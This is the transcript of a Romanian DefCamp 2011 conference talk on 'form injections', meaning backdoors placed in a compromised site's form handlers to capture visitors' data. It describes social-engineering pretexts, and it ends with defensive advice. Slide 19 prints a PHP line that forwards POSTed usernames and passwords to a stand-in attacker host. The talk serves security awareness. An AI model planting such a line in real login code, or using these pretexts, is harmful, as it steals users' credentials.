injectii in formulare

23
INJECŢII ÎN FORMULARE Uneori nici nu ştii cum şi unde se trimit datele tale Dragoş Gaftoneanu www.dragosgaftoneanu.com DefCamp 2011 Bran , judeţul Braşov

Upload: defcamp

Post on 19-Jun-2015

2.197 views

Category:

Technology


4 download

TRANSCRIPT

Page 1: Injectii in formulare

INJECŢII ÎN FORMULAREUneori nici nu ştii cum şi unde se trimit datele

tale

Dragoş Gaftoneanuwww.dragosgaftoneanu.com

DefCamp 2011Bran , judeţul Braşov

Page 2: Injectii in formulare

Cuprins

1. Ce înseamnă o injecţie in formular?

2. Cum se poate face o injecţie?3. Categorii de injecţii în formulare 3.1 După locul injectării

3.1.1 Injecţii în formulare de căutare3.1.2 Injecţii în formulare de logare3.1.3 Injecţii în formulare de opinie (sondaje)3.1.4 Injecţii în formulare de publicare

3.2 După modul de injectare3.2.1 Injecţii manuale3.2.2 Injecţii automate

4. Cum să ne protejăm de injecţii?

Page 3: Injectii in formulare

1. Ce înseamnă o injecţie în formular?

O injecţie în formular este o vulnerabilitate web de tip man-in-the-middle în care datele trimise de client sunt înaintate către o persoană ce le poate folosi în alt mod decât cel pentru care a optat victima.

Vulnerabilitatea aceasta web nu este una cu totul nouă şi nici nu este folosită la scară largă, dar poate produce pagube destul de mari, în funcţie de persoana care o utilizează.

Page 4: Injectii in formulare

2. Cum se poate face o injecţie?

Pentru a putea face o injecţie într-un formular este necesară obţinerea accesului la site şi alterarea datelor ce sunt trimise de formularul ţintă.

Obţinerea accesului se poate face prin mai multe modalităţi, ca de exemplu prin introducerea unui fişier PHP denumit “shell” prin vulnerabilităţi web de tipul Local File Inclusion (Injecţia Locală a unui Fişier) sau Remote File Inclusion (Injecţia de la Distanţă a unui Fişier) sau prin obţinerea datelor de la panoul de administrare sau de la FTP.

Page 5: Injectii in formulare

Ideea de bază a acestei vulnerabilităţi web este preluarea informaţiilor şi trimiterea lor mai departe către atacator prin diverse metode, ce vor fi discutate mai târziu în prezentare.

În cele ce urmează vor fi prezentate trei situaţii prin care atacatorul poate intra în posesia numelui şi parolei administratorului utilizând tehnici de inginerie socială.

2. Cum se poate face o injecţie?

Page 6: Injectii in formulare

1. Pierderea datelor clienţilor

Victima primeşte un email care o anunţă că firma de hosting la care are site-ul a avut o pană de curent, un atac de tip DDoS (flood) sau un incendiu iar echipamentele au fost afectate. Ca rezultat, ei au nevoie de datele de conectare ale victimei pentru a le reintroduce în baza lor de date.

2. Cum se poate face o injecţie?

Page 7: Injectii in formulare

Pentru a fi siguri că mail-ul este original, trebuie să verificăm întotdeauna de la cine am primit email-ul şi, dacă e posibil, headerele acestuia. PHP oferă funcţia mail() prin care oricine poate trimite un mail cu orice adresă.

O altă modalitate de a verifica email-ul este de a trimite un răspuns înapoi prin care îi cerem firmei de hosting să confirme mesajul.

2. Cum se poate face o injecţie?

Page 8: Injectii in formulare

2. Vizita la birouAnumite persoane îşi ţin datele

personale la vedere, pe un bileţel, într-un carneţel sau pe calculator într-un fişier text.

Exemplu: Atacatorul lansează un atac de tip DDoS pe IP-ul victimei şi apoi soseşte la ea la uşă, prezentându-se a fi un reprezentant al firmei de la care victima are acces la Internet. Aparent, el va reface conexiunea victimei, însă, în realitate, atacatorul va căuta datele personale ale victimei.

2. Cum se poate face o injecţie?

Page 9: Injectii in formulare

Pentru a ne proteja de aceşti atacatori, trebuie, în primul rând, să le cerem un act prin care să-şi confirme identitatea şi funcţia pe care o ocupă în firmă.

De asemenea, datele de conectare, în special parolele, nu trebuie ţinute la vedere. În cazul în care sunt parole complicate, este recomandată folosirea unui manager de parole.

2. Cum se poate face o injecţie?

Page 10: Injectii in formulare

2. Cum se poate face o injecţie?

3. Quid pro quoUn studiu realizat în

Liverpool Street Station în anul 2004 în rândul angajaţilor companiei a arătat că, în schimbul unui baton de ciocolată, 71% dintre aceştia şi-au făcut cunoscute propriile parole de pe computerele din companie, 66% au spus că folosesc aceeaşi parolă pentru conturile business şi accesul personal, iar 40% au menţionat că ştiu parolele colegilor.

Page 11: Injectii in formulare

Trebuie reţinut că o parolă nu trebuie să o cunoască mai mult de o persoană.

În cazul în care mai multe persoane au nevoie de acces la un anumit loc, server sau panou de administrare, se recomandă crearea de conturi separate pentru fiecare utilizator şi, dacă este posibiliă, restricţionarea pe nivele de acces.

2. Cum se poate face o injecţie?

Page 12: Injectii in formulare

3.1 După locul injectării3.1.1 Injecţii în formulare de

căutare3.1.2 Injecţii în formulare de

logare3.1.3 Injecţii în formulare de

opinie (sondaje)3.1.4 Injecţii în formulare de

publicare

3.2 După modul de injectare

3.2.1 Injecţii manuale3.2.2 Injecţii automate

3. Categorii de injecţii în formulare

Page 13: Injectii in formulare

DUPĂ LOCUL INJECTĂRII

Page 14: Injectii in formulare

Prin aceste injecţii, atacatorul poate afla ceea ce caută victima cu scopul de a-i crea un profil sau pur şi simplu pentru a afla câteva date personale despre ea.

Acest tip de injecţie este util în special în cazul în care se doreşte monitorizarea unei persoane. O altă variantă pentru monitorizarea ei este instalarea unui plugin în browser care să înregistreze şi să trimită mai departe headerele trimise de pagini.

3.1.1 Injecţii în formulare de căutare

Page 15: Injectii in formulare

Acest tip de injecţie este cel mai periculos deoarece sunt capturate numele şi parola victimei.

Atacul este folosit în mod special în site-urile cu uz frecvent, precum forumurile, trackerele sau blogurile.

Conturile astfel furate pot fi vândute pe piaţa neagră, valoarea unui cont ajungând până la câteva mii de euro.

3.1.2 Injecţii în formulare de logare

Page 16: Injectii in formulare

Prin acest tip de injecţie sunt preluate anumite date ale victimei ce pot fi folosite în scopuri de marketing.

Spre exemplu, majoritatea sondajelor de opinie din ziua de azi au un câmp în care utilizatorul îşi poate introduce numele şi/sau email-ul. Cu ajutorul acestor date, atacatorul îi poate trimite mesaje de tip spam sau de tip phishing.

3.1.3 Injecţii în formulare de opinie

Page 17: Injectii in formulare

Cu ajutorul acestei injecţii, un atacator poate primi regulat anumite informaţii pe care le publică într-un anumit loc victima.

Spre exemplu, atacatorul face o injecţie într-un formular de publicare a articolelor pe blogul victimei, iar de fiecare dată când aceasta va publica un articol nou, atacatorul îl va primi pe email şi ulterior îl va publica pe alt blog, motoarele de căutare indexându-l mai bine.

3.1.4 Injecţii în formulare de publicare

Page 18: Injectii in formulare

DUPĂ MODUL DE INJECŢIE

Page 19: Injectii in formulare

Prin injecţia manuală se înţelege acel tip de injecţie în care atacatorul plasează manual un script ce trimite anumite date ale victimei către el.

Spre exemplu, pe pagina login.html există un formular de logare ce trimite datele către login.php care face verificarea în baza de date. Atacatorul obţine acces la server, şi introduce la începutul fişierului login.php codul următor

file_get_contents(“http://siteatacator.ro/?username= “ . $_POST[‘username’] . “&parola=“ . $_POST[‘parola’]);

Prin funcţia aceasta, se preia sursa paginii, dar totodată se accesează şi pagina. Astfel, prin GET sunt preluate username-ul şi parola şi salvate într-o bază de date, într-un fişier text sau trimise către mail-ul atacatorului.

3.2.1 Injecţii manuale

Page 20: Injectii in formulare

Injecţiile automate au la bază ideea injecţiilor manuale, singura diferenţă fiind că injecţia se face automat de către un fişier PHP, denumit fişier intermediar, ce poate fi accesat ulterior de către atacator după ce acesta este urcat pe server.

Această metodă este bună atunci când atacatorul doreşte ca datele victimei să fie trimise doar de la un anumit punct şi doar pentru o perioadă de timp. El poate să seteze ca fişierul PHP să injecteze codul şi să-l şteargă ori de câte ori e nevoie.

Metoda nu este bună întotdeauna deoarece, dacă victima găseşte fişierul intermediar, poate să îşi dea seama că este vulnerabilă şi să-şi securizeze găurile de securitate.

Acest tip de fişier se poate asemăna cu un fişier de tip “shell”.

3.2.2 Injecţii automate

Page 21: Injectii in formulare

Pentru a ne proteja de injecţii, trebuie să respectăm următoarele reguli:

- site-ul nu trebuie să aibă nici un fel de vulnerabilitate server-side

- conturile de FTP sau de la panourile de administrare trebuie să aibă o parolă complexă

- permisiunile pentru fişierele ce preiau datele anumitor formulare trebuie să fie setate corespunzător

- dacă este posibil, accesul la zonele sensibile din site să fie restricţionat pe clase de IP

- dacă este posibil, accesul la zonele sensibile din site să fie restricţionat pe nivele

- dacă este posibil, accesul la zonele sensibile din site să fie blocat în cazul în care se încearcă un atac de tip brute-force

4 Cum să ne protejăm de injecţii?

Page 22: Injectii in formulare

ÎNTREBĂRI?

Page 23: Injectii in formulare

VĂ MULŢUMESC!